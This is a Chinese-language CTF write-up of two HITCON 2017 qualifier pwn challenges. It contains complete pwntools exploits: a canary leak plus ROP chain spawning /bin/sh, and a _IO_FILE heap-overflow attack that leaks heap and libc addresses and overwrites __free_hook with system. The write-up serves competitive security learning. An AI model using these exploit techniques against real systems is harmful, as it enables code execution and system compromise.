HITCON CTF 2017 QUAL

start

首先,程序有一个alarm函数,这个是一个定时器函数,指定程序运行时间,到了后就给进程发送kill的signal,因为后面我们要调试所以直接用IDA把这个函数PATCH掉。

首先,一看这个程序就是静态编译的,没有引入任何动态库。再用IDA载入,分析main函数。

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax@2
int result; // eax@5
__int64 v5; // rcx@5
char v6; // [sp+0h] [bp-20h]@2
__int64 v7; // [sp+18h] [bp-8h]@1
v7 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2LL, 0LL);
setvbuf(stdout, 0LL, 2LL, 0LL);
while ( 1 )
{
LODWORD(v3) = read(0LL, &v6, 217LL);
if ( v3 == 0 || !strncmp(&v6, "exit\n", 5LL) )
break;
puts(&v6);
}
result = 0;
v5 = *MK_FP(__FS__, 40LL) ^ v7;
return result;
}

程序很简单,一个缓冲区溢出,不过有CANARY保护。

接着,再用checksec检测程序开启的保护措施

[*] '/home/user/pwn/hitcon2017/start/start'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到有还有数据执行保护`NX。

到这里,目前只需要干一件事情,修改程序的执行流程。不过程序有CANARY保护,所以需要一个Memory Leak泄露出CANARY。因为程序用的puts输出,所以不存在格式化字符串漏洞。

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe430 --> 0x4002e0 (<_init>: sub rsp,0x8)
0008| 0x7fffffffe438 --> 0x6cc018 --> 0x43b2a0 (<__strcpy_sse2_unaligned>: mov rcx,rsi)
0016| 0x7fffffffe440 --> 0x401770 (<__libc_csu_init>: push r14)
0024| 0x7fffffffe448 --> 0x386c3caae3bb1300
0032| 0x7fffffffe450 --> 0x6cc018 --> 0x43b2a0 (<__strcpy_sse2_unaligned>: mov rcx,rsi)
0040| 0x7fffffffe458 --> 0x400e06 (<generic_start_main+582>: mov edi,eax)
0048| 0x7fffffffe460 --> 0x0
0056| 0x7fffffffe468 --> 0x100000000
[------------------------------------------------------------------------------]

其中0x7fffffffe430为输入的buff的首地址,0x7fffffffe448CANARY的地址。所以,只要我们输入25个字节就可以把CANARY泄露出来,在程序返回时再将CANARY修改回去即可绕过栈溢出检测。

因为程序是静态编译,所以可用的ROP Gadget很多,随便写一个ROP Chain即可。

payload = "exit\n"
payload = payload.ljust(24, "1")
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(pop_rax_rdx_rbx)
payload += p64(59)
payload += "/bin/sh\x00"
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0x6cdb60) # bss
payload += p64(mov_ptr_rdi_rdx)
payload += p64(pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)

使用syscall + syscall id调用系统函数时要确保argvenvp可读,如果非0的话。

在这里有个坑,因为程序里本身存在sh字符串,本来想利用execve("sh", NULL, NULL)调用sh,但是因为无法指定argv所以只能自己构造/bin/sh

最终的python版本的exploit

from pwn import *
io = remote("127.0.0.1", 10001)
#io = remote("54.65.72.116", 31337)
context.log_level = "DEBUG"
payload = "exit\n"
syscall_id = 59
syscall = 0x00401466
sh = 0x4b6f74
pop_rax_rdx_rbx = 0x0047a781 #: pop rax ; pop rdx ; pop rbx ; ret ; (1 found)
pop_rdi = 0x00418191#: pop rdi ; ret ; (1 found)
pop_rdx_rsi = 0x443799#
mov_ptr_rdi_rdx = 0x43b673 # mov QWORD PTR [rdi],rdx, ret
raw_input()
io.send("1"*25)
io.recv(24)
canary = io.recv(8)
canary = u64(canary) - 0x31
log.success("[CANARY] => {}".format(hex(canary)))
payload = "exit\n"
payload = payload.ljust(24, "1")
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += p64(pop_rax_rdx_rbx)
payload += p64(59)
payload += "/bin/sh\x00"
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0x6cdb60) # bss
payload += p64(mov_ptr_rdi_rdx)
payload += p64(pop_rdx_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)
raw_input("[BOOM]")
io.send(payload)
io.interactive()

结果题目是要求一个ruby的使用pwntools-ruby写的脚本。改成ruby的

require 'pwn'
z = Sock.new '54.65.72.116',31337
z.recvuntil "> "
payload = %{
r = Sock.new '127.0.0.1',31338
p = "1" * 25
r.send p
r.recv(24)
canary = r.recv(8)
canary = u64(canary) - 0x31
print hex(canary)
p = "exit\n"
p = p.ljust(24, "1")
p += p64(canary)
p += p64(0)
p += p64(0x0047a781) # pop rax rdx rbx
p += p64(59)
p += "/bin/sh\x00"
p += p64(0)
p += p64(0x00418191) # pop rdi
p += p64(0x6cdb60) # bss
p += p64(0x43b673) # mov ptr rdi rdx
p += p64(0x443799) # pop rdx rsi
p += p64(0)
p += p64(0)
p += p64(0x00401466)
r.sendline p
r.sendline 'cat home/start/flag'
print r.recv
print r.recv
}
z.sendline payload
print z.recv
print z.recv
print z.recv

baby FS

程序主要有四个功能

  • 打开文件
    • check文件名有是否有procflag字段
  • 读文件
  • 写文件
  • 关闭文件(句柄)

粗略看了一下程序,对输入限制的比较死,没有什么越界的漏洞。使用checksec看一下程序开启的保护措施。

[*] '/home/user/pwn/hitcon2017/babyfs/babyfs.bin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

可以看到已经开启了全部的保护措施。所以,必须找一个Memory Leak来泄露内存,再找一个能修改程序执行流程的地方即可pwn掉这个程序。

研究一下,这个程序能内存泄漏的地方只有读文件了,用户输入的地方只有写文件了。所以基本目标定在读写文件,但是怎么能够通过读写文件这两个功能实现内存泄漏和执行流程修改呢?

我们逐个分析这四个函数:

open函数完成的功能很简单,读取用户输入的文件名,将文件的fd和长度,还有内容的指针保存在一个结构体中。其中判断文件名中是否包含procflag字符串。

结构体的定义如下:

struct FS{
FILE *fd; // + 0x0
char *content; // + 0x8
char filename[64]; // + 0x10
int content_length; // + 0x50
int write_flag; // + 0x58
}

结构体在内存中的定义如下:

0x555555757060: 0x0000555555758010 0x0000555555759250 # fd|content(heap)
0x555555757070: 0x0000656d64616572 0x0000000000000000 # filename(max=63)
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x000000000000004b 0x0000000000000000 # filelen|write_flag
---------------------------------------------------------------------------
0x5555557570c0: 0x00005555557592b0 0x000055555575a4f0 # fd|content(heap)
0x5555557570d0: 0x0000656d64616572 0x0000000000000000 # filename
0x5555557570e0: 0x0000000000000000 0x0000000000000000
0x5555557570f0: 0x0000000000000000 0x0000000000000000
0x555555757100: 0x0000000000000000 0x0000000000000000
0x555555757110: 0x000000000000004b 0x0000000000000000 # filelen|write_flag

read函数也很简单,完成的内容是填好结构体的内容,读取文件的n字节到前面结构体的content中。

write函数就是将文件中的第一个字节打印出来。

close函数就是清空结构体,free掉content,关闭fd。

看起来似乎是一个没有漏洞的程序,但是当我们打开/dev/stdin/dev/stdout或者/dev/stderr时,会发现,文件的长度为-1,在结构体中为0xFFFFFFFFFFFFFFFF,在分配content堆的时候分配的大小为长度加1。

if ( !fd )
{
puts("Can't open the file");
puts("Waiting for loggging ...");
sleep(1u);
snprintf(&error_str, 0x400uLL, "Can't open file %s\n", &filename);
log_error_E9F(&error_str);
return *MK_FP(__FS__, 40LL) ^ v5;
}
*((_QWORD *)&fd_203060 + 12 * i) = fd;
strncpy((char *)&fd_203060 + 96 * i + 16, &filename, 0x3FuLL);
*((_QWORD *)&file_len_2030B0 + 12 * i) = content_len_1198(fd);
*((_QWORD *)&unk_203068 + 12 * i) = calloc(1uLL, *((_QWORD *)&file_len_2030B0 + 12 * i) + 1LL);// HERE!
dword_2030B8[24 * i] = 0;

此时分配函数为calloc(0)所以分配的堆大小为0x20。那么在获取文件内容的时候只要文件内容大于0x10即可发生堆溢出,那么问题又来了,如何去获取文件内容的长度大于文件长度呢?我们可以通过打开/dev/stdin,我们通过标准输入输入的字符就是文件的内容。

在得到堆溢出后,我们就可以操作FILE结构体看来完成内存泄露(通过打开/dev/stdout),程序控制流劫持(通过修改__free_hook来完成程序流劫持),下面我们看看FILE结构体的定义。

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

有几点需要关注的:

  • _fileno 是文件的fd
  • 在调用fread或者fwrite后,关于文件流的8个指针会被修复
  • 通过fopen打开文件后,文件的内存会缓存在kernel buffer
  • FILE结构体操作的buffer的范围在_IO_buf_base_IO_buf_end之间
  • fclose或者fflush的时候会将buffer中的内容同步到文件中

所以EXPLOIT的步骤如下:

  • 打开/dev/stdin再随便打开一个文件
  • 通过堆溢出覆盖第二个文件的FILE结构体
  • 通过关闭文件泄露堆的基址
  • 重复上面操作泄露libc的基址
  • 通过上面操作覆盖__free_hooksystem
  • pwn!

下面是我的EXPLOIT

from pwn import *
context.log_level = "DEBUG"
libc = ELF("./libc-2.23.so")
libc_offset = libc.symbols["_IO_file_jumps"]
def open(filename):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil(":")
io.sendline(filename)
def blind_open(filename):
sleep(1)
io.sendline("1")
sleep(1)
io.sendline(filename)
def read(idx, size):
io.recvuntil("choice:")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
def blind_read(idx, size):
sleep(1)
io.sendline("2")
sleep(1)
io.sendline(str(idx))
sleep(1)
io.sendline(str(size))
def write(idx):
io.recvuntil("choice:")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
def blind_write(idx):
sleep(1)
io.sendline("3")
sleep(1)
io.sendline(str(idx))
def close(idx):
io.recvuntil("choice:")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(idx))
def blind_close(idx):
sleep(1)
io.sendline("4")
sleep(1)
io.sendline(str(idx))
# io = remote("127.0.0.1", 50216)
io = process("./babyfs.bin")
raw_input("BEGIN")
open("/dev/stdin") # idx = 0
open("/dev/null") # idx = 1
log.info("STAGE ONE => LEAK HEAP BASE ADDR")
_flags = 0x00000000fbad3887
_flags &= (~0x8) # _IO_NO_WRITES
_flags |= 0x800 # _IO_CURRENTLY_PUTTING
log.success(hex(_flags))
payload = "A" * 24
payload += p64(0x231)
payload += p64(_flags) # _IO_MAGIC
payload += p64(0x0) * 13
payload += p64(0x2)
read(0, len(payload))
io.sendline(payload)
read(1, 0) # fix file stream buffer ptr
payload = "A" * 23 # skip 1 byte for '\n'
payload += p64(0x231)
payload += p64(_flags)
payload += p64(0x0) * 3
payload += p8(0x0)
read(0, len(payload)) # overwrite write_buffer_ptr (partial)
io.sendline(payload)
close(1)
io.recvuntil("\xad\xfb") # _IO_MAGIC
io.recv(36)
ret = io.recv(8)
heap_base = (u64(ret) & 0xffffffffffffff000) - 0x1000
#close(0)
log.success("[HEAP BASE ADDR] => {}".format(hex(heap_base)))
#open("/dev/stdin") # idx = 0
open("/dev/null")
payload = "A" * 22
payload += p64(0x231)
payload += p64(_flags) # _IO_MAGIC
payload += p64(0x0) * 13
payload += p64(0x1)
read(0, len(payload))
io.sendline(payload)
read(1, 0) # fix file stream buffer ptr
payload = "A" * 21
payload += p64(0x231)
payload += p64(_flags) # _IO_MAGIC
payload += p64(0x0) * 3
payload += p64(heap_base + 0x1000 + 0x348)
payload += p64(heap_base + 0x1000 + 0x350)
payload += p64(heap_base + 0x1000 + 0x350)
read(0, len(payload)+1)
io.sendline(payload)
close(1)
io.recvline()
ret = io.recv(8)
libc_base = u64(ret) - libc_offset
log.success("[LIBC BASE ADDR] => {}".format(hex(libc_base)))
free_hook = libc_base + libc.symbols["__free_hook"]
# stage 3
blind_open("/dev/stdin")
blind_close(0)
blind_open("/dev/stdin")
_flags = 0xfbad208b
payload = "/bin/sh\x00".ljust(24, "\x00")
payload += p64(0x231)
payload += p64(_flags)
payload += p64(0) * 6
payload += p64(free_hook)
payload += p64(free_hook + 0x20) # fix buff_end
payload += p8(0)
blind_read(0, len(payload))
sleep(2)
io.sendline(payload)
blind_read(1, 8)
sleep(1)
system_addr = libc_base + libc.symbols["system"]
io.sendline(p64(system_addr))
blind_close(0)
io.interactive()